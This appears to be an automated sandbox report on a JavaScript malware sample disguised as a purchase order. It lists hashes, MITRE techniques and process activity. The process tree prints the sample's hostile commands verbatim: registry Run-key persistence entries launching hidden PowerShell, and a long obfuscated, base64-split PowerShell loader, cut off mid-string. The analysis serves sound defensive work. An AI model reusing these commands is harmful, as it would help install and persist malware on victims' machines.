a4f64df830be4d3fcccc4b5a4d7aadebe13bdc742a742dc7cbb093f83c7cca7f

Analysis

max time kernel
149s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/09/2026, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
AVIODIRECT-PO#2026-175.js
Size 632KB
Sample260909-ppjjtswarf
SHA256 a4f64df830be4d3fcccc4b5a4d7aadebe13bdc742a742dc7cbb093f83c7cca7f
MD5 655b6d299fc049ef1d4018d79ce0ad3a
SHA1 6f7bfa8fb24d19b710014554a4c222c46cfe853c
SHA512 8049c4d12677eebf183376ae30191aa195210f656fd2bf800700b945dcbc08686cd65d86ce38fbdd835adc1d257c2a421343737fd7d330e111bfbeec0c0929a7
SSDEEP 1536:f1d161d1T1d1qZfPsv3l1d111d1mq1d19Xn/:9z0zJzcfPs/Lz7zmEz93/
TLSH
T19BD4A456FA4C1A7B8BC9C9C765C4F68A4CEC276F1627F4C4509A087F81B4FA9C0D82E5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5096	powershell.exe
7	3636	powershell.exe
10	3636	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3084	powershell.exe
1596	powershell.exe
5096	powershell.exe
3636	powershell.exe
3008	powershell.exe
5436	powershell.exe
2972	powershell.exe

Deletes itself 1 IoCs

pid	Process
3968	wscript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Run\Drivers-Update-031 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\czukq.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers-Update-889 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\czukq.ps1\""	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
3636	powershell.exe
3636	powershell.exe
1596	powershell.exe
1596	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1596 set thread context of 4560	1596	powershell.exe	135

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2196	cmd.exe
1960	cmd.exe
1956	cmd.exe
4712	cmd.exe
2016	cmd.exe
5236	cmd.exe
2096	cmd.exe
4408	cmd.exe
4980	cmd.exe
5304	cmd.exe
5152	cmd.exe
5844	cmd.exe
5836	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 26 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5844	cmd.exe
2096	cmd.exe
468	PING.EXE
2196	cmd.exe
5304	cmd.exe
1960	cmd.exe
5152	cmd.exe
4980	cmd.exe
2016	cmd.exe
2232	PING.EXE
4408	cmd.exe
5060	PING.EXE
2352	PING.EXE
5836	cmd.exe
5716	PING.EXE
3660	PING.EXE
4540	PING.EXE
1548	PING.EXE
3132	PING.EXE
1956	cmd.exe
2060	PING.EXE
1544	PING.EXE
4712	cmd.exe
5236	cmd.exe
5948	PING.EXE
928	PING.EXE

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3384	ipconfig.exe
4288	ipconfig.exe

Runs ping.exe 1 TTPs 13 IoCs

Remote System Discovery

T1018

pid	Process
2232	PING.EXE
4540	PING.EXE
5060	PING.EXE
2352	PING.EXE
1548	PING.EXE
5948	PING.EXE
928	PING.EXE
3132	PING.EXE
468	PING.EXE
3660	PING.EXE
5716	PING.EXE
2060	PING.EXE
1544	PING.EXE

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
3084	powershell.exe
3084	powershell.exe
5096	powershell.exe
5096	powershell.exe
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
2972	powershell.exe
2972	powershell.exe
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
3008	powershell.exe
3008	powershell.exe
3636	powershell.exe
3008	powershell.exe
5436	powershell.exe
5436	powershell.exe
5436	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1596	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3084	powershell.exe
Token: SeDebugPrivilege	5096	powershell.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeIncreaseQuotaPrivilege	2972	powershell.exe
Token: SeSecurityPrivilege	2972	powershell.exe
Token: SeTakeOwnershipPrivilege	2972	powershell.exe
Token: SeLoadDriverPrivilege	2972	powershell.exe
Token: SeSystemProfilePrivilege	2972	powershell.exe
Token: SeSystemtimePrivilege	2972	powershell.exe
Token: SeProfSingleProcessPrivilege	2972	powershell.exe
Token: SeIncBasePriorityPrivilege	2972	powershell.exe
Token: SeCreatePagefilePrivilege	2972	powershell.exe
Token: SeBackupPrivilege	2972	powershell.exe
Token: SeRestorePrivilege	2972	powershell.exe
Token: SeShutdownPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeSystemEnvironmentPrivilege	2972	powershell.exe
Token: SeRemoteShutdownPrivilege	2972	powershell.exe
Token: SeUndockPrivilege	2972	powershell.exe
Token: SeManageVolumePrivilege	2972	powershell.exe
Token: 33	2972	powershell.exe
Token: 34	2972	powershell.exe
Token: 35	2972	powershell.exe
Token: 36	2972	powershell.exe
Token: SeIncreaseQuotaPrivilege	2972	powershell.exe
Token: SeSecurityPrivilege	2972	powershell.exe
Token: SeTakeOwnershipPrivilege	2972	powershell.exe
Token: SeLoadDriverPrivilege	2972	powershell.exe
Token: SeSystemProfilePrivilege	2972	powershell.exe
Token: SeSystemtimePrivilege	2972	powershell.exe
Token: SeProfSingleProcessPrivilege	2972	powershell.exe
Token: SeIncBasePriorityPrivilege	2972	powershell.exe
Token: SeCreatePagefilePrivilege	2972	powershell.exe
Token: SeBackupPrivilege	2972	powershell.exe
Token: SeRestorePrivilege	2972	powershell.exe
Token: SeShutdownPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeSystemEnvironmentPrivilege	2972	powershell.exe
Token: SeRemoteShutdownPrivilege	2972	powershell.exe
Token: SeUndockPrivilege	2972	powershell.exe
Token: SeManageVolumePrivilege	2972	powershell.exe
Token: 33	2972	powershell.exe
Token: 34	2972	powershell.exe
Token: 35	2972	powershell.exe
Token: 36	2972	powershell.exe
Token: SeIncreaseQuotaPrivilege	2972	powershell.exe
Token: SeSecurityPrivilege	2972	powershell.exe
Token: SeTakeOwnershipPrivilege	2972	powershell.exe
Token: SeLoadDriverPrivilege	2972	powershell.exe
Token: SeSystemProfilePrivilege	2972	powershell.exe
Token: SeSystemtimePrivilege	2972	powershell.exe
Token: SeProfSingleProcessPrivilege	2972	powershell.exe
Token: SeIncBasePriorityPrivilege	2972	powershell.exe
Token: SeCreatePagefilePrivilege	2972	powershell.exe
Token: SeBackupPrivilege	2972	powershell.exe
Token: SeRestorePrivilege	2972	powershell.exe
Token: SeShutdownPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeSystemEnvironmentPrivilege	2972	powershell.exe
Token: SeRemoteShutdownPrivilege	2972	powershell.exe
Token: SeUndockPrivilege	2972	powershell.exe
Token: SeManageVolumePrivilege	2972	powershell.exe
Token: 33	2972	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 3968 wrote to memory of 2880	3968	wscript.exe	89
PID 2880 wrote to memory of 3084	2880	wscript.exe	90
PID 3084 wrote to memory of 5096	3084	powershell.exe	92
PID 5096 wrote to memory of 3384	5096	powershell.exe	93
PID 5096 wrote to memory of 4288	5096	powershell.exe	94
PID 5096 wrote to memory of 5916	5096	powershell.exe	95
PID 5096 wrote to memory of 5972	5096	powershell.exe	96
PID 5096 wrote to memory of 4936	5096	powershell.exe	97
PID 5096 wrote to memory of 3636	5096	powershell.exe	98
PID 3636 wrote to memory of 4712	3636	powershell.exe	100
PID 4712 wrote to memory of 2232	4712	cmd.exe	101
PID 3636 wrote to memory of 2016	3636	powershell.exe	102
PID 3636 wrote to memory of 5236	3636	powershell.exe	103
PID 3636 wrote to memory of 5844	3636	powershell.exe	104
PID 3636 wrote to memory of 2096	3636	powershell.exe	105
PID 3636 wrote to memory of 4408	3636	powershell.exe	106
PID 4408 wrote to memory of 3660	4408	cmd.exe	107
PID 5844 wrote to memory of 468	5844	cmd.exe	108
PID 5236 wrote to memory of 2352	5236	cmd.exe	109
PID 2016 wrote to memory of 5060	2016	cmd.exe	110
PID 2096 wrote to memory of 4540	2096	cmd.exe	111
PID 3636 wrote to memory of 5836	3636	powershell.exe	112
PID 3636 wrote to memory of 4980	3636	powershell.exe	113
PID 3636 wrote to memory of 2196	3636	powershell.exe	114
PID 3636 wrote to memory of 5304	3636	powershell.exe	115
PID 3636 wrote to memory of 1960	3636	powershell.exe	116
PID 2196 wrote to memory of 3132	2196	cmd.exe	117
PID 5836 wrote to memory of 5716	5836	cmd.exe	118
PID 5304 wrote to memory of 1548	5304	cmd.exe	119
PID 1960 wrote to memory of 928	1960	cmd.exe	120
PID 4980 wrote to memory of 5948	4980	cmd.exe	121
PID 3636 wrote to memory of 2972	3636	powershell.exe	122
PID 3636 wrote to memory of 5152	3636	powershell.exe	124
PID 3636 wrote to memory of 1956	3636	powershell.exe	125
PID 5152 wrote to memory of 2060	5152	cmd.exe	126
PID 1956 wrote to memory of 1544	1956	cmd.exe	127
PID 3636 wrote to memory of 2224	3636	powershell.exe	128
PID 3636 wrote to memory of 3008	3636	powershell.exe	129
PID 3636 wrote to memory of 5436	3636	powershell.exe	130
PID 3636 wrote to memory of 1596	3636	powershell.exe	131
PID 3636 wrote to memory of 3284	3636	powershell.exe	132
PID 1596 wrote to memory of 4560	1596	powershell.exe	135
PID 1596 wrote to memory of 4560	1596	powershell.exe	135
PID 1596 wrote to memory of 4560	1596	powershell.exe	135
PID 1596 wrote to memory of 4560	1596	powershell.exe	135

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\AVIODIRECT-PO#2026-175.js
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:3968
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\pwxsb.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$dlysw = $null ;;$sPaFf ;;$zXkuP ;;$zXkuP = 'O1Ns' + 'ZW' + 'VwIDY7DQp' + '0' + 'cnl7DQoNCjtpcGNvbmZpZy' + ' + A + ' + 'vcmVs' + 'ZW' + 'FzZSB8IE' + ' + 9 + ' + '1dC1OdWxsOw' + '0' + 'KO2lwY2' + ' + 9 + ' + 'uZmlnIC' + ' + 9 + ' + 'y' + 'ZW' + '5ldyB8IE' + ' + 9 + ' + '1dC1OdWxsOw' + '0' + 'KO25ldHNoIHdpbnNvY2sgcmVzZXQgfCBPdXQtTnVsbDsNCjtuZXRzaCBpbnQgaX' + 'A' + 'gcmVzZXQgfCBPdXQtTnVsbDsNCjsNCg' + '0' + 'KJGE4S21McC' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQml' + '0' + 'Q2' + ' + 9 + ' + 'udmVydGVyXTo6R2V' + '0' + 'Qnl' + '0' + 'ZXMoMTExNzg' + '0' + 'NjYpIDsNCiRkOEdoID' + '0' + 'gQCgyMzUsMzcsMjUwLDIyNiwxMj' + 'A' + 'sMTkxLDExMCw3MSwyMz' + 'A' + 'sMjExLDQyLDI' + '0' + 'MSwxMDIsMTc1LDEzNiwxODIsMjMyLDE5LDIyNiwyMzcsMT' + 'A' + '5LDIxNywxMjIsMTIxLDIwOSwyMDksMTE3LDI' + '0' + 'MSw4MiwxODQsMTY1LDEzOCwyNDIsMzQsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNSw5MywyMDUsMTY1LDg3LDIyNywxMjYsMTM' + '0' + 'LDE2MiwxODEsMjEwLDEyMSwxOTIsMjExLDY3LDE5MCw5LDcsMjIyLDE4NSwxMTgsMTY2LDEyNiwxMz' + 'A' + 'sMTQwLDI' + '0' + 'NywyMzUsMTksMjMwLDI1NSwxMDQsMj' + 'A' + 'zLDQsOD' + 'A' + 'sMjIxLDIxMSwzOSwyMjcsODMsMTM' + '0' + 'LDE3OCwyNDUsMjEzLDEyLDE' + '0' + 'OCwyND' + 'A' + 'sMTIwLDIxMiwxMT' + 'A' + 'sNiwyMjEsMTgyLDEwNSwyMz' + 'A' + 'sMTI2LDEzNCwxNzgsMjQzLDIwOCwxOSwyNTQsMjU1LDEwNCwxOTYsMTE' + '0' + 'LDkzLDIyMSwxODIsNDIsMjQxLDEyMCwxODIsMTM5LDE2NiwyNDgsOCwyMzcsMjQwLDY5LDE5NiwxMTgsMiwyMDUsMTY5LDEwOSwyMjEsMTI2LDEzMCwxNjUsMTY2LDI' + '0' + 'OCw4LDIzNywyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOTIsMjI5LDIxMSw5MSwxNjcsODYsMTUzLDEzNiwxNTEsMjExLDM4LDE1NiwyND' + 'A' + 'sMTEzLDIyMywxMjYsODUsMj' + 'A' + '5LDE' + '0' + 'MCw3MiwyNTEsMTExLDE' + '0' + 'NiwyMDksMTMxLDIxMCwxMj' + 'A' + 'sMjI2LDI1MSw2NywyMTksMTE4LDY4LDIyNSwxNzgsNDMsMjIyLDEwOSwxNTMsMTgyLDE' + '0' + 'OCwyMTIsMTksMjM4LDI1MSwxMDYsMj' + 'A' + '3LDg4LDk5LDIyNSwxODUsODMsMjQ4LDEyNiwxMz' + 'A' + 'sMTUxLDE2NiwyNTEsMTIwLDI1NCwyNTEsNjcsMjIzLDksMTIxLDIyMSwxNzgsMTI1LDI' + '0' + 'MSwxMjQsMTg' + '0' + 'LDE2NSwxNzUsMjExLDM4LDIzNCwyNDksMTIzLDIyMyw5NSw4MCwyMDcsMTUyLDk1LDI' + '0' + 'OCw4NSwxNT' + 'A' + 'sMTc4LDE4MCwyMTMsOCwxNTMsMjEzLDY5LDIxMiwxMDksODksMj' + 'A' + '1LDE2MiwxMDksMjQxLDEyNSwyNDMsMjIxLDE4MSwyMzIsMTksMjU' + '0' + 'LDIzMSw2NywxOT' + 'A' + 'sOCw2NiwyMTMsMTgyLDQ3LDIzNiw4NiwxNDYsMTM1LDE2NiwyNT' + 'A' + 'sNT' + 'A' + 'sMjM3LDI' + '0' + 'OSwxMTksMjEyLDExMCw3MSwyMz' + 'A' + 'sMTY5LDgzLDI' + '0' + 'OCwxMjQsMTQ2LDE2NSwyNDYsMjQyLDM' + '0' + 'LDIzNywyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI1LDEzMiwxNTEsMjQ' + '0' + 'LDIyNiwzOSwyNTQsMjE3LDY3LDIwNywxMjUsMTQsMj' + 'A' + '1LDE2Miw3NiwyMjgsMTEwLDE' + '0' + 'OSwxNzgsMTc3LDIxMiwyOSwyNT' + 'A' + 'sMjI2LDY3LDIyMyw5LDEyNywyMjIsMTg1LDc2LDIwOSw4NiwxNT' + 'A' + 'sMTc4LDE3OCwyMzUsOCwyMDMsMjQ5LDEyMCwyMTksMTMsNzcsMjI5LDE3OCwxMjUsMjQxLDEyNCwxODQsMTY1LDE3NSwyMjQsMTIxLDE' + '0' + 'OSwyMjYsNjksMj' + 'A' + 'zLDEwNiwzLDIyNCwxNjIsMTI1LDIyOSwxMjUsMjQxLDIwOSwxODMsMjExLDM5LDIzNywyNDksMT' + 'A' + '' + '0' + 'LDIwNyw3OSw4MCwyMDYsMjEwLDcyLDI1NSw4NSwxMzQsMTM2LDE3MSwyNTMsMTMsMjI2LDE2NywxMj' + 'A' + 'sMjIzLDk1LDgwLDIwNywxNTIsOTUsMjQ4LDgzLDEzNCwxMzYsMTcxLDI1MSw1MCwxOTksMjI2LDExNSwxOT' + 'A' + 'sMT' + 'A' + '2LDcsMjEwLDE' + '0' + 'MCw4OCwyMjksODMsMTUwLDE3NywxNzQsMjUxLDEyLDE1MywxNjYsNjcsMj' + 'A' + 'zLDc1LDcxLDIwNSwxNjUsMT' + 'A' + '5LDIyMSwxMjYsMTMwLDE2NSwxNjYsMjQ4LDgsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNiw3MSwyMjIsMTM2LDk1LDI' + '0' + 'OSwxMjUsMTMyLDE1MSwyNDQsMjI2LDM5LDI1NCwyMTcsNjcsMj' + 'A' + '3LDEyNSw2NywyMz' + 'A' + 'sMTQwLDc1LDI' + '0' + 'MSwxMjUsMTM' + '0' + 'LDIwOSwyND' + 'A' + 'sMjExLDEyLDIxOSwyND' + 'A' + 'sMT' + 'A' + '5LDIxOSwxMjIsNjYsMjIyLDE2Miw5NSwyNTMsMT' + 'A' + 'wLDE4NywxMzYsMTM4LDIzMSwxNCwxNTcsMjI4LDEwNCwyMDcsMTMsNjYsMjIyLDE3OCw5NSwyMjUsMTI' + '0' + 'LDE' + '0' + 'NiwxNjYsMjQ2LDI' + '0' + 'MiwzNCwyMzcsMjQwLDEwNCwyMDcsMTI1LDgwLDIwNSwxNjIsOTUsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyNDgsMTMsMjE2LDE5Niw2OSwyMTksOSw3LDIyOSwxODIsNDcsMjUwLDEyMywxNz' + 'A' + 'sMTM2LDE4MCwyMTMsMTIsMjUwLDIzOCw2NywxOTEsMTI2LDk5LDIyMiwxODUsODQsMTY' + '0' + 'LDg2LDE1MCwxNz' + 'A' + 'sMTczLDIxMCw1MCwxNTMsMjE3LDEyMCwyMTIsMTE4LDc3LDIyOSwxNjYsODgsMjI5LDExMSwxNDksMTM5LDI' + '0' + 'NywyMzEsMTIwLDIzMCwyMzEsNjksMj' + 'A' + 'zLDEwNiwxMjUsMjMwLDE' + '0' + 'Myw3OSwyMzYsMTIyLDE2OCwxMzEsMTcwLDIyNiw' + '0' + 'OSwxOTIsMjIwLDExOSwyMDEsMTMsNjgsMj' + 'A' + 'wLDE2Miw5NSwyMjUsMTI' + '0' + 'LDE' + '0' + 'NiwxNjUsMjQ2LDI' + '0' + 'MiwzNCwyMzcsMjQwLDEwNCwyMDcsMTI1LDgwLDIwNSwxNjIsOTUsMjQxLDgxLDE' + '0' + 'NCwxMzksMTY2LDI' + '0' + 'OCw4LDIzNywyND' + 'A' + 'sNzEsMjIzLDEyNiw5MywyMjEsMTg1LDc2LDI1Miw4NiwxMz' + 'A' + 'sMTY2LDI' + '0' + 'NiwyMTUsMjYsMTk1LDIyMCwxMDQsMj' + 'A' + '3LDEyNSw4MCwyMDUsMTYyLDgzLDI' + '0' + 'MSwxMjIsMTg' + '0' + 'LDIwOCwxNjYsMjI3LDI5LDI1NCwyMDcsMT' + 'A' + '' + '0' + 'LDIwMywxMTgsNjgsMjI5LDE4Miw' + '0' + 'MywyNTMsMTI2LDEzMCwxND' + 'A' + 'sMTgyLDIzMiwxOSwyNTQsMjUzLDY' + '0' + 'LDIwNywxMjYsOTIsMjIyLDE3OCw5MiwyMDgsODMsMTM3LDEyOCwxMzUsMjEzLDM4LDI1MCwyMjYsNjksMj' + 'A' + 'yLDg4LDc4LDIyOSwxODUsNzYsMjUwLDEyNiwxMzQsMTc4LDE4MSwyNDgsMTIsMTUzLDE2NywxMjMsMj' + 'A' + 'zLDY4LDY4LDIwNywxNzgsOTIsMjU1LDg1LDEzNCwyMjEsMTcxLDIwOCw1MCwyMzgsMj' + 'A' + '5LDExOSwyMDIsOTUsOD' + 'A' + 'sMj' + 'A' + 'zLDE1MCwxMTMsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyMTMsMywyMz' + 'A' + 'sMTYyLDEwNCwxOTYsNzksMTI' + '0' + 'LDIwNSwxNjIsOTUsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyNDgsOCwyMzcsMjUyLDY' + '0' + 'LDE4OSwxMDIsNzgsMjMwLDE4NSw3MiwyMjcsMT' + 'A' + 'xLDE2OCwxNjUsMjQ4LDI' + '0' + 'OCw4LDIwNywyMj' + 'A' + 'sMTE4LDE4OCwxMT' + 'A' + 'sNjgsMjMwLDE2NCwxMTQsMjI2LDg' + '0' + 'LDEzNCwyMjEsMTg' + '0' + 'LDIxMyw4LDIwMywyNTQsMT' + 'A' + '' + '0' + 'LDIyNSw3Miw5MSwyMzEsMTQwLDQzLDI1MCw4NSwxMzMsMTY5LDE4NCwyNDgsMzQsMjI5LDIzMSwxMjEsMjIzLDEyNiw2NCwyMjQsMTgyLDg' + '0' + 'LDIyOSw4NiwxNT' + 'A' + 'sMTY5LDE2NiwyMT' + 'A' + 'sMTIwLDI1NCwyNTUsNjksMj' + 'A' + 'zLDgwLDkzLDIwNSwxNjYsNzIsMTYyLDgzLDEzNCwxNzgsMTg' + '0' + 'LDIxMSwzNCwyMzgsMjIxLDY3LDIyNiwxMT' + 'A' + 'sMT' + 'A' + 'yLDIyNCwxNjksODcsMjQxLDEwMSwyNDMsMTc4LDI' + '0' + 'MSwyMjgsMywyMz' + 'A' + 'sMjI1LDEyMCwxODgsMTIyLDkyLDIyMiwxNjksODQsMjUwLDg' + '0' + 'LDI' + '0' + 'MiwxNjksMTc' + '0' + 'LDIyNiwyOCwxNTMsMTY3LDExNiwxOTYsMTEwLDc4LDIwNSwxNjYsMTIxLDIyOSwxMjYsMTM3LDE3MCwyNDEsMjEwLDM4LDE5MiwyMjYsMTIzLDI' + '0' + 'NSwxMjYsNjYsMj' + 'A' + '3LDE3OCw5NSwxNjEsMTE2LDE3MywxNDQsMTMyLDIxMSwxMiwyMTIsMjIxLDY3LDIxMiwxMjYsNjUsMjMxLDE' + '0' + 'Myw3OSwyNDksMTI2LDE2OCwxNzQsMTc5LDIzNSwxOSwyMz' + 'A' + 'sMjI2LDEyMywyMTksNzUsNzcsMj' + 'A' + 'xLDEzNiw4NywyNTUsMTI' + '0' + 'LDE1MSwyMTIsMTY2LDIxMCwzLDI1MCwyNTQsNjcsMj' + 'A' + 'zLDgwLDkzLDIwNSwxNjksOD' + 'A' + 'sMTY2LDExMCwxNTMsMTgyLDE3NywyMzIsNT' + 'A' + 'sMjM4LDI1MSw2OCwxOTYsMTEwLDkxLDIzMSwxND' + 'A' + 'sNDIsMjQxLDEwMCwxNT' + 'A' + 'sMj' + 'A' + '5LDI' + '0' + 'MSwyMjgsMywyNTQsMjM4LDEwNCwyMDEsNjgsNjUsMjIxLDE4Miw3NiwyMTksODYsMTUwLDE3NCwxODQsMjMyLDE5LDIzMCwxNjIsMT' + 'A' + '2LDE5NiwxMTQsNywyMzEsMTQwLDExNCwyMjcsMT' + 'A' + '5LDE4NCwxNjYsMTgwLDI1MCwyNCwyMzcsMTYwLDk4LDIyNCw3MiwxMTQsMjMwLDE2NiwxMDIsMjIwLDg1LDE1MywxNjYsMTgzLDIxMCwzNywyNTMsMjQ4LDEwNCwyMjksMTE4LDY5LDIyMiwxODUsODQsMjI3LDEwOSwxNT' + 'A' + 'sMTQ3LDE4NywyNTIsMzQsMjI5LDI1NCwxMDYsMjE4LDEyLDgwLDIzMSwxNjksNzIsMjU1LDg1LDEzNCwxMzYsMTcxLDI' + '0' + 'OCwzLDIyNiwxNjcsMTIwLDIxMiwxMT' + 'A' + 'sNzEsMjIxLDE1Miw5MiwyNT' + 'A' + 'sODIsMTM3LDE4MiwxNzMsMjEwLDM4LDE1MiwyND' + 'A' + 'sMTIwLDIyNSw1LDY1LDIzMCwxNjIsOTIsMTkzLDg2LDE1MywxNzQsMjQxLDIxMywyOCwyMzQsMjI4LDExNiwxOTYsMTE4LDY1LDIyNCwxNjYsNzIsMjUyLDgzLDEzMCwxND' + 'A' + 'sMTM5LDIxMSwzNywyNTQsMTk4LDY5LDE5NiwxMTcsOD' + 'A' + 'sMjIxLDE3OCwxMDUsMjQxLDk3LDE' + '0' + 'OCwxMzYsMTgwLDIxMywxMywyMzgsMTY3LDY2LDIyOSwxMjYsNzcsMj' + 'A' + 'wLDE2Miw5MiwxNjcsODYsMTUwLDIwOSwyNDEsMjQ4LDMsMjM3LDIyOCwxMDQsMj' + 'A' + 'zLDUsNiwyMjQsMTYyLDkyLDE2Nyw4NiwxNT' + 'A' + 'sMj' + 'A' + '5LDI' + '0' + 'MSwyNDgsMTIsMTQ4LDIzMSwxMDQsMj' + 'A' + 'wLDc5LDg5LDIwNSwxNjUsMT' + 'A' + '5LDIyMSwxMjYsMTMwLDE2NSwxNjYsMjQ4LDgsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNSw5MiwyMjksMjExLDkxLDE2Nyw4NiwxNTMsMTM2LDE1MSwyMTEsMzgsMTU2LDI' + '0' + 'MCwxMTMsMjIzLDEyNiwxMTcsMjIyLDE2Niw3OSwyMjYsOTcsMTM3LDEzNiwxODIsMjM1LDI' + '0' + 'LDIzNywyMjcsMTE3LDIxOSwxMDYsNjcsMjIxLDE' + '0' + 'MCw3MiwyMzksMT' + 'A' + 'xLDEzNCwxNzgsMTcyLDIwOCwyOCwxNTMsMjMxLDY5LDIwMyw4MCw2NSwyMz' + 'A' + 'sMTM2LDk1LDI1Myw4NiwyND' + 'A' + 'sMTkwLDE4NCwyMTEsMTksMjUwLDIyNiwxMTUsMjI5LDEyNSw2NywyMDgsMTQwLDg4LDIyNiwxMDksMTQ2LDE2NSwxNzUsMjI3LDI5LDI1NCwyMDcsMTEyLDIyNSw2OCw3MSwyMz' + 'A' + 'sMTQwLDc5LDI' + '0' + 'OCwxMjYsMTMwLDIxMywxNDQsMjMyLDE5LDIyNiwyMzcsMTE5LDIwMyw4NCw3OCwyMjQsMTc4LDk1LDE2MSwxMTYsMTY4LDE2NSwxNjYsMjQ4LDgsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNSw4MCwyMDYsMTY3LDg' + '0' + 'LDI1NCwxMjEsMTUwLDEzMSwxNjYsMjI1LDI' + '0' + 'LDIzNywyNTIsNjQsMTkwLDEyMSw2LDIyOSwxODUsMTE' + '0' + 'LDE5Miw4NSwxNzIsMjEyLDI' + '0' + 'NywyNTQsMzIsMjEyLDIyNSwxMj' + 'A' + 'sMjE5LDExMCwxMjIsMjI5LDE4Miw4NCwyMzksMTEwLDE1MywxNzQsMjQ' + '0' + 'LDI1MCw4LDIwMCwyMjYsNjksMj' + 'A' + 'zLDExMCw2OCwyMz' + 'A' + 'sMTYyLDQzLDI1Myw4NSwxMzQsMTQ3LDE3NSwyNT' + 'A' + 'sMjQsMjM3LDE2MCw5OCwyMjksMTI1LDgwLDIwNSwxNjIsOTUsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyNTEsMTMsMjM3LDIyNCwxMTIsMjI1LDg4LDExMSwyMTEsMTY3LDc1LDI' + '0' + 